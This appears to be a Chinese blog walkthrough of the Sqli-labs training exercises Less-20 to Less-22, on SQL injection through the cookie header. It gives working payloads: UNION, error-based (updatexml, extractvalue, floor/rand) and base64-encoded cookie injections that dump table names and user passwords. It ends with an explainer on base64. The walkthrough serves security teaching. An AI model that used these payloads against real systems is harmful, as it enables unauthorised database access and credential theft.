Sqli-labs之Less-20和Less-21和Less-22
基于错误的cookie头部POST注入
首先从已知的条件中我们知道这又是一道“头部注入”,那么我们先输入正确的用户名和密码看一下登录成功是什么样子的:
从题意中我们大致可推断出注入点在cookie上:(查看后台核心源码:)
可以看到查询语句查询变量$cookee,且是单引号字符型,那么我们就在cookie里注入:
我们先查看一下请求头中的cookie值,我们可以有很多方法查看:
- burpsuite抓包,看响应头
- Chrome插件
Edit This Cookie
查看,存储的Cookie
信息:- 浏览器,按F12,在“网络”中查看,看响应头
1.burpsuite抓包过程:
2.Chrome插件Edit This Cookie
查看,存储的Cookie
信息:(没用过,截取别人的)
可以看到只存储了uname
这一个字段的信息,且是明文存储。
修改Cookie
后刷新界面:
3.F12查看
从上面的操作中,可知操作流程:
可以判断出注入点就在
Cookie
处,但是这里注入有三种途径:
-
用Chrome插件
EditThisCookie
修改本地Cookie
文件注入。 -
用Firefox浏览器插件HackBar修改本地
Cookie
文件注入(这个并不是很好用,不推荐用)。 -
用
Burpsuite
修改登陆(POST)
成功后刷新时GET
请求头中的Cookie
值注入,这种方式不会修改本地的Cookie
文件。
这里演示第二个途径:
我们得出后台根据Cookie
中的uname
查询用户的所有信息,即这是个SELECT
语句,我们可以使用最简单的UNION
注入。
1.判断字符型 / 数字型注入
爆出语法错误,看得出来就是单引号型;
2.判断字段数与回显字段
uname=Dumb' order by 4 -- #
uname=1' union select 1,2,3 -- #
PS:
关于获取字段的小技巧:我们从后台源码中,一般只要看到 select * from 表名,一般是要猜这个表里的所有字段,然后进行注入,如果是 select username,password from 表名,这种形式的可以直接利用2个字段,作为语句的注入字段。
3.暴库:
uname=1' union select 1,2,database() -- #
暴表:
uname=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #
暴字段:
uname=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' -- #
暴数据:(这两种其实是一样的)
uname=1' union select 1,2,group_concat(username,0x7e,password)from security.users -- #
uname=1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #
上面就是简单的基于报错的注入,方法有很多,下面会演示一下其他的注入方法:
子查询注入(参考Less-17,注这里字段是3个)
uname=1' or (select 1 from (select 1,count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)-- #
或者:(参考Less-5)
uname=1' union (select 1 from (select 1,count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)-- #
其实都是一样的。
updatexml()注入
uname=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),0)-- #
extractvalue()注入
uname=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #
延时注入:(并不适合延时注入,延时的时间远远大于自己设置的时间,小技巧如果没有快速返回页面,即可说明猜解错误,然后直接修改语句)
补充,延迟之后的界面:(返回的特别慢)
布尔盲注:(正确直接返回,不正确会返回红色字体图片,即slap1.jpg)
还有注入方法一些自己发挥想象。
Less-21
基于base64编码单引号和括号的Cookie注入
RHVtYg== base64解码后:Dumb
本关和Less(20)相似,只是cookie的uname值经过base64编码,我们查看下后台核心源代码:
我们也可以通过burp抓包,或者在浏览器中查看请求头:
看到cookie是RHVtYg%3D%3D,和页面显示的不一样 但是明显%3D是=号UrlEncode的结果,
接下来进行测试:
Dumb' or 1=1 --+
base64编码后:RHVtYicgb3IgMT0xIC0tKw==
看到红矩形的提示,应该构造 ')这种形式
注意,在测试注入点过程中发现使用注释符 #和-- #都只会爆下面的错误,也就是无法判断出有一个括号
爆字段
Dumb') order by 4-- #
RHVtYicpIG9yZGVyIGJ5IDQtLSAj
1') union select 1,2,3-- #
MScpIHVuaW9uIHNlbGVjdCAxLDIsMy0tICM=
注意:
在进行注入语句,暴出我们想要的数据时,发现只要使用注释符--+就会报这样的错误
,只有使用#和-- #才能暴出我们想要的数据,这是为什么?组团搞笑的吗?
暴库:
1') union select 1,2,database()#
MScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
接下来的暴表,暴字段,暴数据,和Less(20)一样,不要忘记括号,注意用#或-- #注释,而不是用--+,只要用base64加密后写入cookie,就可以完成注入。
还要说一下的是在使用火狐插件时,不是点击
,而是直接按F5刷新页面,即可。还有就是对于cookie这一块,火狐插件并不算好用。
Less-22
基于错误的双引号字符型Cookie注入
(注意:登录成功后显示的是21关的图片,这应该是作者忘记修改了,看不惯的课自己修改下。)
我们看下后台核心源代码
1.base64编码,双引号,报错型,cookie型注入
本关和Less(21)一样,只需要使用双引号再去掉括号
这里演示一个例子:
爆表
1" or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #
MSIgb3IgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSwweDdlKSktLSAj
完。
Base64 编码介绍,Base64使用注意事项
Base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,大家可以查看RFC2045~RFC2049,上面有MIME的详细规范。Base64编码可用于在HTTP环境下传递较长的标识信息。
例如,在Java Persistence系统Hibernate中,就采用了Base64来将一个较长的唯一标识符(一般为128-bit的UUID)编码为一个字符串,用作HTTP表单和HTTP GET URL中的参数。在其他应用程序中,也常常需要把二进制数据编码为适合放在URL(包括隐藏表单域)中的形式。此时,采用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。
Base64是网络上最常见的用于传输8Bit字节代码的编码方式之一,大家可以查看RFC2045~RFC2049,上面有MIME的详细规范。Base64编码可用于在HTTP环境下传递较长的标识信息。例如,在Java Persistence系统Hibernate中,就采用了Base64来将一个较长的唯一标识符(一般为128-bit的UUID)编码为一个字符串,用作HTTP表单和HTTP GET URL中的参数。在其他应用程序中,也常常需要把二进制数据编码为适合放在URL(包括隐藏表单域)中的形式。此时,采用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。
Base64编码要求把3个8位字节(3*8=24)转化为4个6位的字节(4*6=24),之后在6位的前面补两个0,形成8位一个字节的形式。 如果剩下的字符不足3个字节,则用0填充,输出字符使用'=',因此编码后输出的文本末尾可能会出现1或2个'='。
外文名 | base64 | 定 义 | 8Bit字节代码的编码方式之一 |
属 性 | 编码方式 | 可用于 | 在HTTP环境下传递较长的标识信息 |
应用 | 用于传输8Bit字节代码 | 特 性 | Base64编码具有不可读性 |
Base64使用注意问题
一、Base64和URL传参问题
标准的Base64并不适合直接放在URL里传输,因为URL编码器会把标准Base64中的“/”和“+”字符变为形如“%XX”的形式,而这些“%”号在存入数据库时还需要再进行转换,因为ANSI SQL中已将“%”号用作通配符。
为解决此问题,可采用一种用于URL的改进Base64编码,它在末尾填充'='号,并将标准Base64中的“+”和“/”分别改成了“-”和“_”,这样就免去了在URL编解码和数据库存储时所要作的转换,避免了编码信息长度在此过程中的增加,并统一了数据库、表单等处对象标识符的格式。
二、Base64和URL传参问题改善
另有一种用于正则表达式的改进Base64变种,它将“+”和“/”改成了“!”和“-”,因为“+”,“*”以及前面在IRCu中用到的“[”和“]”在正则表达式中都可能具有特殊含义。
此外还有一些变种,它们将“+/”改为“_-”或“._”(用作编程语言中的标识符名称)或“.-”(用于XML中的Nmtoken)甚至“_:”(用于XML中的Name)。
三、Base64转换后比原有的字符串长1/3
Base64要求把每三个8Bit的字节转换为四个6Bit的字节(3*8 = 4*6 = 24),然后把6Bit再添两位高位0,组成四个8Bit的字节,也就是说,转换后的字符串理论上将要比原来的长1/3。
四、Base64转换总结
Base64转换,最好是不要用在加密上,尤其是参数加密,很容易出问题